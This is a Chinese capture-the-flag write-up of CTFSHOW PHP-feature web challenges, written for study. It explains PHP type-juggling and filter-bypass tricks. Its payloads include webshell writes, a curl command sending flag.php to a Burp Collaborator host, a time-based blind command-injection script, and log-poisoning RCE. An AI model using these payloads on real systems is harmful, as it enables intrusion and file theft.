【Web】CTFSHOW PHP特性刷题记录(全)
知其然知其所以然,尽量把每种特性都详细讲明白。
目录
web89
web90
web91
web92
web93
web94
web95
web96
web97
web98
web99
web100
web101
web102
web103
web104
web105
web106
web107
web108
web109
web110
web111
web112
web113
web114
web115
web123
web125
web126
web127
web128
web129
web130
web131
web132
web133
web134
web135
web136
web137
web138
web139
web140
web141
web142
web143
web144
web145
web146
web147
web148
web149
web150
web150_plus
web89
向preg_match中传参数组会报错,可绕过preg_match
intval函数如果接收一个对象会返回1,而PHP 中的数组也可以看做是一种对象。在 PHP 中,数组是通过内置的 Array 类实现的。这个类提供了多种方法和属性,用于操作和管理数组。因此,我们可以将数组看作是一个对象,通过调用其方法和属性来实现对数组的操作。
我们可以本地跑一下,验证这个特性。
<?php$arr=array(0=>'0x401');
$res=intval($arr);
echo $res;
payload:
?num[]=0x401
web90
intval里参数base=0,就把选择进制的权利交给了输入者,我们可以用16进制或8进制来绕过
?num=0x117c
?num=010574
web91
在正则表达式中,/im
是用于设置匹配模式的标志之一。它由两个字母组成:i
和 m
。
-
i
(不区分大小写):该标志表示进行大小写不敏感的匹配。当使用i
标志时,正则表达式将不区分字母的大小写。例如,正则表达式/hello/i
可以匹配 "hello"、"Hello"、"HELLO" 等。 -
m
(多行模式):该标志表示进行多行匹配。当使用m
标志时,正则表达式中的^
和$
元字符将分别匹配行的开头和结尾,而不仅仅是整个字符串的开头和结尾。例如,正则表达式/^hello/m
可以匹配以 "hello" 开头的每一行。
我们可以本地跑几个例子理解一下啥是多行模式
<?php$a="abc123\nabc123cde";
if(preg_match('/^abc.*cde$/m', $a)){echo 'hacker1';
}
echo '<br>';
$b="abc123cde\nabc123";
if(preg_match('/^abc.*cde$/m', $b)){echo 'hacker2';
}
echo '<br>';
$c="abc123\n123cde";
if(preg_match('/^abc.*cde$/m', $c)){echo 'hacker3';
}
不难发现,多行内容只要有一行内容符合正则表达式就可以返回true,但如果多行不符合正则的内容拼接起来而符合正则时,则只会返回false。
我们再来看单行内容
<?php
if (preg_match('/^flag$/', $_GET['a'])) {echo 'success';
}
else echo 'no!';
?flag=%0aflag //no!
?flag=flag%0a //success
我们发现其只对第一行内容进行判断
结合以上分析不难得出下面的payload
?cmd=%0aphp
web92
和上面一样,进制绕过即可
?num=0x117C
?num=010574
web93
过滤了小写字母,8进制就可
?num=010574
web94
主要是解读strpos
要想不进这个判断
if(!strpos($num, "0")){die("no no no!");}
我们就要让strpos返回一个不为0的数字或者TRUE,也就是在除了字符串首的地方加一个0即可。
不难推出payload
?num=4476.0
web95
多过滤了'.',遇事不决用空格。
mixed类型的$var自带一个隐式类型转换,所以%20401会转换成401(%20是空格的url编码)
我们可以本地测一下
<?php
$num=$_GET['num'];
if(intval($num,0)===4476){echo 'success';
}
else{echo 'no!';
}
?num= 4476
因为%20已经占了第一个字符了,所以我们又可以用八进制绕过。
最终payload:
?num=%20010574
web96
ban了相对路径,我们用绝对路径就可以。这里也可以用file协议哈
?u=/var/www/html/flag.php
?u=file:///var/www/html/flag.php
web97
md5传数组即可绕过
我们可以本地测一下
<?php
$num=array(0=>1);
echo (md5($num)===NULL);
这里可以看出给md5传参数组会返回一个NULL
所以不管数组内容为什么,比较时都是NULL===NULL,也就顺利绕过了。
最终payload:
a[]=1&b[]=2
web98
三元运算符不解释
只要get传值就可以把$_GET=&$_POST(就是C语言传址那个)
然后就顺利highlight_file($flag);
?1=1
post:HTTP_FLAG=flag
web99
很明显数组里出现可能性最大的数字是1
那么1.php能匹配到数组元素1吗
我们本地搭一下
<?php
$arr=array(0=>1);
if(in_array('1.php', $arr)){echo 'success';
}
可以过,为什么呢?因为当mixed类型的needle与数组haystack中元素进行比较时会进行一个隐式类型转换。
最终payload:
?n=1.php
post:content=<?php eval($_POST[1]);?>
成功写马,下略。
web100
这段代码,因为赋值运算优先级高于逻辑运算,所以要进if($v0),只要让$v1为数字就可,对$v2和$v3没有要求。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
这里我们介绍下PHP的反射类ReflectionClass
通过echo可以调用 ReflectionClass的__toString()方法,从而输出参数类的具体信息
题目说flag在ctfshow类里,刚好可以利用。
最终payload:
?v1=1&v2=echo new ReflectionClass&v3=;
输出结果如下
web101
和上一题一样,不解释
?v1=1&v2=echo new ReflectionClass&v3=;
web102
$v4还是赋值语句优先级大于逻辑语句,所以只要让v2为数字即可。
v2得是数字??????我测,拿数字当参数的回调函数真的有吗?
还真有,比如hex2bin,当数字为科学计数法时可以将其解读为16进制转字符串。
然后要把这个字符串当文件内容写入$v3,$v3可以是带过滤器的伪协议。
在 Base64 编码中,末尾的 =
字符通常用于填充,以确保编码后的字符串长度是4的倍数。这是因为 Base64 编码是按照每3个字节编码为4个字符的规则进行的,如果数据长度不是3的倍数,就需要使用 =
字符进行填充。
所以删除末尾的'='并不会改变解码结果
再字符串转hex,神奇的发现其是只带e的字符串,也可以解读为科学计数法。
因为$s从第二位开始截,所以前面要随便加两个数字。
最终payload:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.phppost:v1=hex2bin
web103
你过滤php和我hex字符串有什么关系
继续上一题payload
web104
?v2[]=1
post:v1[]=2
sha1和md5一样都是哈希算法,如果传数组都会warning且返回一个null
数组绕过即可
web105
$$一眼变量覆盖
?temp=flag
post:error=temp
通过temp作为中间转接量,最终达到把$error的值覆盖成$flag,并通过die输出。
web106
经典数组绕过,不解释
?v2[]=2
post:v1[]=1
web107
parse_str还是变量覆盖
payload:
?v3[]=1
post:v1=flag=
空等于空,等式成立
web108
ereg需要纯字母,intval要反转后等于0x36d
php也是C语言写的,所以字符串只读到\00结束
我们可以本地测一下
<?php
$a=$_GET['a'];
if(preg_match('/^[a-zA-Z]+$/', $a)){echo 'success1';
}
echo '<br>';
if(@ereg('^[a-zA-Z]+$', $a)){echo 'success2';
}
?a=abc%00123
可以发现ereg函数存在NULL截断漏洞,这里要用到00截断,而preg_match不存在
payload:
?c=a%00778
web109
对v2后面的括号进行解释,如v2=system(ls),$v2()
会把$v2
返回的值会作为函数名去调用,但是调用失败了。
只要变量后面紧跟着(),那么对这个变量进行函数调用。
调用失败归失败,但是函数本身已经执行就可。
最常用的带__toString的类就Exception()呗
最终payload:
?v1=Exception&v2=system('tac fl36dg.txt')
web110
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类
getcwd()函数 获取当前工作目录 返回当前工作目录
最终payload:
?v1=FilesystemIterator&v2=getcwd
返回的是当前目录的第一个文件
访问拿到flag
web111
getFlag函数是个变量覆盖,把$v1覆盖成$v2
?v1=ctfshow&v2=flag
擦,是空的,我踏马直接全局变量
在 PHP 中,$GLOBALS
是一个包含了全局变量的关联数组。它可以访问在脚本中定义的任何全局变量,不论其作用域。
然后var_dump出全局变量的数组
?v1=ctfshow&v2=GLOBALS
web112
is_file()函数检查指定的文件名是否是正常的文件。如果文件存在且为正常的文件,则返回 true。
用伪协议即可
?file=php://filter/resource=flag.php
web113
问就是积累一下吧(
?file=compress.zlib://flag.php
web114
又把filter放出来了
?file=php://filter/resource=flag.php
web115
肯定是36前后加东西呗
建议直接拿脚本跑一下
<?php
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}for ($i=0; $i <=128 ; $i++) {
$x=chr($i).'36';
if(trim($x)!=='36' && is_numeric($x) && filter($x)=='36' && trim($x)!=='36' && $x=='36'){
echo urlencode(chr($i))."\t";
}
}
结果
payload:
?num=%0c36
web123
可以直接走变量覆盖,通过argv传参
?suibian=1+fl0g=flag_give_mepost:CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])
另一种变量覆盖情况
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
还可以直接命令执行来变量覆盖
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($_POST[1])&1=$fl0g=flag_give_me;
也可以命令注入,直接输出flag
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
web125
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
CTF_SHOW=1&CTF[SHOW.COM=2&fun=eval($_POST[1])&1=$fl0g=flag_give_me;
web126
终于上长度限制了(
还禁了一个不区分大小写的'o',相当于ban了$_POST;禁了一个不区分大小写的'c',相当于ban了extract
但我们还可以走argv来转接
?suibian=1+fl0g=flag_give_mepost:CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1])
web127
$SERVER['QUERY_STRING']可以用url编码直接绕过,因为它接受的是原始数据,不会将传入的参数进行url解码,但$_GET[]传参会直接url解码。
可以本地测一下
<?php
$a=$_SERVER['QUERY_STRING'];
echo $a;
echo '<br>';
var_dump($_GET);
?>
?%63%74%66%5f%73%68%6f%77=%69%6c%6f%76%65%33%36%64&b=Z3r4y
结果
不难推出,最终payload:
?%63%74%66%5f%73%68%6f%77=%69%6c%6f%76%65%33%36%64
web128
确实是骚姿势,无数字字母的函数有什么呢?
gettext()
是 PHP 中用于国际化(i18n)和本地化(l10n)的函数,它用于在多语言环境下实现字符串翻译。
_是gettext()的别名
在 gettext 中,如果找不到对应的翻译文本,它会返回原始的文本字符串。
在这题比如:
?f1=_&f2=phpinfo
这样可以弹phpinfo
而内部call_user_func返回值作为外部call_user_func的回调函数,这个函数必须是无参的,那答案已经呼之欲出了:
?f1=_&f2=get_defined_vars
直接输出已经注册的变量 。
web129
意思就是说ctfshow要在字符串里,且不能是ctfshow打头,然后进行一个文件的读。
把ctfshow写路径里就行了,反正目录穿越上一层后再下一层还是在穿越前的目录,哪怕ctfshow不存在也不影响。
?f=../../../../../../../ctfshow/../../../../var/www/html/flag.php
成功读文件
web130
题目简介懂得都懂,一眼PCRE回溯上限绕过
<?php
$a=str_repeat('Z3r4y',200000);
$b=$a.'ctfshow';
echo $b;
拿脚本生成的payload post传一下就好
web131
<?php
$a=str_repeat('Z3r4y',200000);
$b=$a.'36Dctfshow';
echo $b;
改下脚本直接打就好。
web132
访问/robots.txt
访问/admin
与优先级大于或,不解释,那只要让username等于admin就能进第二层if,code=admin就能进第三层if
?username=admin&code=admin&password=1
web133
6个常规构造怎么可能够,肯定得想点新路子。
这里比较巧妙地用了变量覆盖进行转接来拓展长度。
已经知道flag路径可以利用Burp的 Collaborator Client外带
?F=`$F`; curl -X POST -F file=@flag.php http://pjc1chltz8fy3jeeacj7yv3x3o9fx4.burpcollaborator.net
为啥不用ceye,因为在写这篇文章的时候ceye被和谐了(
web134
parse_str+extract两个变量覆盖当跳板
好说好说
payload:
?_POST[key1]=36d&_POST[key2]=36d
web135
这题给写文件了,那不还是手到擒来~
?F=`$F `;nl flag.php >1.txt
访问1.txt即可
web136
一眼无回显rce,curl,nc这些ban了就不好反弹shell了,然后>写文件也被ban了,问题不大,还放了个tee,虽然ban了个'.' ,但无伤大雅。
在 Linux 中,tee
命令的输出可以存储到一个文件中,该文件可以没有后缀名。
?c=cat /f149_15_h3r3|tee 1
直接访问1即可
web137
因为没有包含flag.php,$flag变量没有被注册,所以不能直接get_defined_vars
那咋整呢,可以看看题目的ctfshow类,显然可以调用其静态方法来拿flag.php内容
ctfshow=ctfshow::getFlag
web138
ban了':',我们可以继续看php官方文档里call_user_func对类方法的调用:
发现传入一个数组,会将第一个元素作为类,第二个元素作为静态方法
post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
web139
没法子,过滤太绝了,只能盲注
import requestsurl = "http://15e87f4e-83d3-47f3-b553-82241a3bb631.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 4;fi"result = "+++++++++++++++++"length=48strings = "abcdefghijklmnopqrstuvwxyz_-0123456789{}"for c in range(1,length):print("+++++++++++++++第"+str(c)+"个字符")for s in strings:target = url+payload.format(c,s)#print(target)try:requests.get(target,timeout=2.5)except:result +=sprint(result)breakresult += ""print(result)
手动加两括号就行
web140
intval($code)只要为0就可以过掉弱类型
我比较喜欢用md5(md5()),他们的返回值是0,且好记。
<?php
$a=intval(md5(md5()));
if($a==0){die('ok!');
}
payload:
post:f1=md5&f2=md5
web141
\W
:表示匹配任何非字母数字字符。等效于 [^A-Za-z0-9_]
一眼无字母数字RCE(eval里可以直接位运算)
问题就是$v1和$v2都是数字,不太好处理
我们可以本地先试通了
<?php
1-phpinfo()-1;
发现可以执行
ok最难的一步走好了,剩下的就是位运算八股了。
最终payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-
web142
正常写那不直接睡死了。所以要乘一个0,这样就可以瞬间拿到flag.php文件内容。
?v1=0
web143
~被ban了,不让取反,但放了^,可以直接异或
ban了'-',问题不大
可以用'*'或'/'(关于为啥不用加号,因为加号传进去会变成空格QWQ)
可以本地跑了看看
<?php
1/phpinfo()/1;
// 1*phpinfo()*1;
ok接下来跑异或脚本(注意正则不同,最后的字典也不同)
最终payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*
web144
就是多限制了一个$v3只能有一个数字,问题不大
本地试一下
<?php
1-phpinfo();
没有一点问题
OK下面直接取反
payload:
?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
web145
ban了'^',放出了'~',还是取反
但加减乘除全ban了,这咋整,我们可以用三元运算
先本地试试
<?php
1?phpinfo():1;
下面脚本跑取反
最终payload:
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
web146
':'也ban了,还能咋整
还有下面这种姿势:
本地跑
<?php
1|phpinfo()|1;
可以过。
取反RCE即可
最终payload:
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
web147
有经验的师傅,一眼就看出来了create_function注入(因为第一个参数为空)
问题就是怎么要过掉preg_match(没有eval所以不能位运算哈)
什么你想头铁试试?
食报错吧你!
所以可以写个脚本(虽然是半自动的hhh)
<?php
for ($i=32;$i<127;$i++){$a=chr($i).'create_function';if (!preg_match('/^[a-z0-9_]*$/isD',$a)){echo chr($i)." ";}
}
一个一个试过去就好,试出来'\'符合条件
最终payload:
?show=1;}system('tac f*');/*
post:ctf=\create_function
web148
无字母数字RCE,ban了'~',直接异或不解释
最终payload:
?code=("%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07"^"%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60")();
web149
乍一看像条件竞争,但也许我们可以直接釜底抽薪,修改index.php,根除删文件的问题。
?ctf=index.php
post:show=<?php eval($_POST[1]);?>
拿shell后
post:1=system("tac /ctfshow_fl0g_here.txt");
web150
$isVIP可以用extract变量覆盖,然后文件包含不含':'的路径,那最简单不就日志包含嘛。
最终payload:
?isVIP=1
post:ctf=/var/log/nginx/access.log&a=system("tac fl*");
UA:<?php @eval($_POST[a]);?>
web150_plus
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}
这里__autoload并不是CTFSHOW这个类的方法,它是独立在类外的,只不过缩进比较迷惑人。
__autoload
函数只有在以下条件满足时才会触发:
-
当代码中尝试使用一个未定义的类时,即在代码中出现了类名,但该类尚未被定义或加载。
-
当 PHP 解释器在当前命名空间找不到所需的类时,即命名空间中没有定义该类。
此时,PHP 解释器会自动调用 __autoload
函数,并将需要加载的类名作为参数传递给它。
__CTFSHOW__的url全编码可以配合$_SERVER['QUERY_STRING']绕过preg_match
最终payload:
?%5f%5f%43%54%46%53%48%4f%57%5f%5f=phpinfo
看phpinfo拿到flag
相关文章:

【Web】CTFSHOW PHP特性刷题记录(全)
知其然知其所以然,尽量把每种特性都详细讲明白。 目录 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web100 web101 web102 web103 web104 web105 web106 web107 web108 web109 web110 web111 web112 web113 web…...

[Docker] Docker为什么出现
Docker为什么出现 一款产品: 开发–上线 -->两套环境 | 应用配置 开发即运维! 环境配置十分麻烦,每一个机器都要部署环境(Redis, ES, Hadoop) 费时费力 项目带上配置环境安装打包。 传统: 开发jar&…...

小程序基础学习(页面跳转传参)
目录 正向传参 原理:直接在url里面拼接参数即可 接受参数 编辑 已经跳转到的页面用onLoad函数来接受即可然后写回页面展示即可 逆向传参 原理:通过使用 getCurrentPages()这个方法来获取返回页面列表,然后再用页面.setDataÿ…...
面试经典150题(85-87)
leetcode 150道题 计划花两个月时候刷完,今天(第四十三天)完成了3道(85-87)150: 85.(77. 组合)题目描述: 给定两个整数 n 和 k,返回范围 [1, n] 中所有可能的 k 个数的组合。 你可…...

【C++】“Hello World!“
🦄个人主页:修修修也 🎏所属专栏:C ⚙️操作环境:Visual Studio 2022 2024.1.14 纪念一下自己编写的第一个C程序 #include<iostream>int main() {/*我的第一个C程序*/std::cout << "Hello world!:>" <<std::endl;ret…...

系统性学习vue-vue中的ajax
vue中的ajax 配置代理常用发送Ajax请求方式跨域方式一方式二 vue-resource插槽默认插槽具名插槽作用域插槽 配置代理 常用发送Ajax请求方式 xhr new XMLHttpRequest() 在真正开发中不常用,比较麻烦jQuery 封装了xhraxios 封装了xhr 与jQuery相比优势是:…...
【PGSQL】date_trunc 函数
date_trunc 函数用于在 PostgreSQL 中将日期或时间戳值截断(向下取整)到指定的精度级别。当您想要忽略较小的时间单位(例如,小时、分钟、秒),专注于较大的单位(例如,天、月、年&…...

使用composer生成的DMG和PKG格式软件包有何区别
在使用Composer从包源构建软件包时候,有两种不同类型的包:PKG和DMG。你知道两者之间的区别吗? 以及如何选取吗? 每种格式都有各自的优势具体取决于软件包的预期用途以及用于部署软件包的工具。下面我们来了解一下PKG和DMG格式的区别和用途。…...
Linux 压缩解压
.tar (注:tar是打包,不是压缩!) 解包:tar xvf FileName.tar -C DirName打包:tar cvf FileName.tar DirName .gz 解压1:gunzip FileName.gz解压2:gzip -d FileName.gz压…...

YUM仓库和NFS共享
目录 一、yum仓库 1. yum仓库介绍 1.1 简介 1.2 实现过程 1.3 实现安装服务 2. yum配置文件及命令 2.1 yum配置文件 2.1.1 yum主配置文件 2.1.2 仓库设置文件 2.1.3 日志文件 2.2 yum命令详解 2.2.1 查询 2.2.2 yum安装升级 2.2.3 软件卸载 3. 搭建仓库的方式 …...
Springboot中时间格式化
时间格式化方式 JsonFromat方式全局配置方式格式化工具方式 JsonFromat方式 前端传参或后端响应 yyyy-MM-dd HH:mm:ss 格式,直接属性字段上加注解 JsonFromat JsonFromat(pattern "yyyy-MM-dd HH:mm:ss", timezone "GMT8") private Date fi…...

蓝桥杯基础知识3 memset()
蓝桥杯基础知识3 memset() #include <bits/stdc.h> using namespace std;int main(){int a[5]; //随机数for(int i 0;i < 5; i)cout << a[i] << \n;cout << \n;memset(a, 0, sizeof a); //0for(int i 0;i < 5; i)cout << a[i] << …...

CentOS安装k8s单机/集群及一些命令
目录 前言 1. 安装docker 2. 安装要求 3.准备网络(如果只装单机版可跳过此部) 4. 准备工作 5. 安装 5.1. 配置阿里云yum k8s源 5.2 安装kubeadm、kubectl和kubelet 5.3 初始化,只在master执行,子节点不要执行 5.3.1 一些…...
iOS和安卓端个人踩坑史
本公司不提供测试机,借手机是开发测试中最麻烦的事 iOS可行组 1、iOS可以播放视频无声音,Andorid有声音 当时做了个远程视频连接项目,使用了jitsi第三方视频服务,iOS没有加dom.play()导致无法接收声音 2、iOS可以长按保存图片…...
前端面试Vue部分补充(详细)
1、vue的基本原理 Vue的基本原理是基于MVVM(Model-View-ViewModel)模式的前端框架。它通过数据绑定和响应式系统来实现数据和视图的自动同步更新。 Vue的基本原理可以概括为以下几个步骤: 1). 解析模板:Vue通过解析模板来生成虚…...
计算机网络重点简答题
文章目录(持续更新) 计算机网络重点简答题📣一、什么是TCP/IP的五层参考模型?✨1.是什么✨2.主要功能✨3.数据包的封装和解封装 📣二、TCP与UDP的区别? 计算机网络重点简答题 📣一、什么是TCP/…...
【迅搜17】SCWS分词(二)自定义字典及分词器
SCWS分词(二)自定义字典及分词器 经过上篇文章的学习,相信大家对分词的概念已经有了更深入的了解了吧。我们也知道了,SCWS 是 XS 中的一个重要组成部分,但它也是可以单独拿出来使用的。而对于分词器来说,不…...

深度学习记录--偏差/方差(bias/variance)
误差问题 拟合神经网络函数过程中会出现两种误差:偏差(bias)和方差(variance) 偏差和误差的区别 欠拟合(underfitting) 当偏差(bias)过大时,如左图,拟合图像存在部分不符合值,称为欠拟合(underfitting) 过拟合(overfitting) …...

React16源码: React中的renderRoot的源码实现
renderRoot 1 )概述 renderRoot 是一个非常复杂的方法这个方法里处理很多各种各样的逻辑, 它主要的工作内容是什么?A. 它调用 workLoop 进行循环单元更新 遍历整个 Fiber Tree,把每一个组件或者 dom 节点对应的Fiber 节点拿出来单一的进行更…...

GitHub项目推荐-incubator
项目地址 Github地址:GitHub - apache/incubator-anser 官网:Apache Answer | Free Open-source Q&A Platform 项目简述 这是Apache的一个开源在线论坛,也可以部署成为一个自有的QA知识库。项目主要使用了Go和Typescript来开发&#…...

如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...

智能仓储的未来:自动化、AI与数据分析如何重塑物流中心
当仓库学会“思考”,物流的终极形态正在诞生 想象这样的场景: 凌晨3点,某物流中心灯火通明却空无一人。AGV机器人集群根据实时订单动态规划路径;AI视觉系统在0.1秒内扫描包裹信息;数字孪生平台正模拟次日峰值流量压力…...
Java线上CPU飙高问题排查全指南
一、引言 在Java应用的线上运行环境中,CPU飙高是一个常见且棘手的性能问题。当系统出现CPU飙高时,通常会导致应用响应缓慢,甚至服务不可用,严重影响用户体验和业务运行。因此,掌握一套科学有效的CPU飙高问题排查方法&…...
IP如何挑?2025年海外专线IP如何购买?
你花了时间和预算买了IP,结果IP质量不佳,项目效率低下不说,还可能带来莫名的网络问题,是不是太闹心了?尤其是在面对海外专线IP时,到底怎么才能买到适合自己的呢?所以,挑IP绝对是个技…...

RabbitMQ入门4.1.0版本(基于java、SpringBoot操作)
RabbitMQ 一、RabbitMQ概述 RabbitMQ RabbitMQ最初由LShift和CohesiveFT于2007年开发,后来由Pivotal Software Inc.(现为VMware子公司)接管。RabbitMQ 是一个开源的消息代理和队列服务器,用 Erlang 语言编写。广泛应用于各种分布…...

打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用
一、方案背景 在现代生产与生活场景中,如工厂高危作业区、医院手术室、公共场景等,人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式,存在效率低、覆盖面不足、判断主观性强等问题,难以满足对人员打手机行为精…...
作为测试我们应该关注redis哪些方面
1、功能测试 数据结构操作:验证字符串、列表、哈希、集合和有序的基本操作是否正确 持久化:测试aof和aof持久化机制,确保数据在开启后正确恢复。 事务:检查事务的原子性和回滚机制。 发布订阅:确保消息正确传递。 2、性…...

elementUI点击浏览table所选行数据查看文档
项目场景: table按照要求特定的数据变成按钮可以点击 解决方案: <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...

【Veristand】Veristand环境安装教程-Linux RT / Windows
首先声明,此教程是针对Simulink编译模型并导入Veristand中编写的,同时需要注意的是老用户编译可能用的是Veristand Model Framework,那个是历史版本,且NI不会再维护,新版本编译支持为VeriStand Model Generation Suppo…...

实战设计模式之模板方法模式
概述 模板方法模式定义了一个操作中的算法骨架,并将某些步骤延迟到子类中实现。模板方法使得子类可以在不改变算法结构的前提下,重新定义算法中的某些步骤。简单来说,就是在一个方法中定义了要执行的步骤顺序或算法框架,但允许子类…...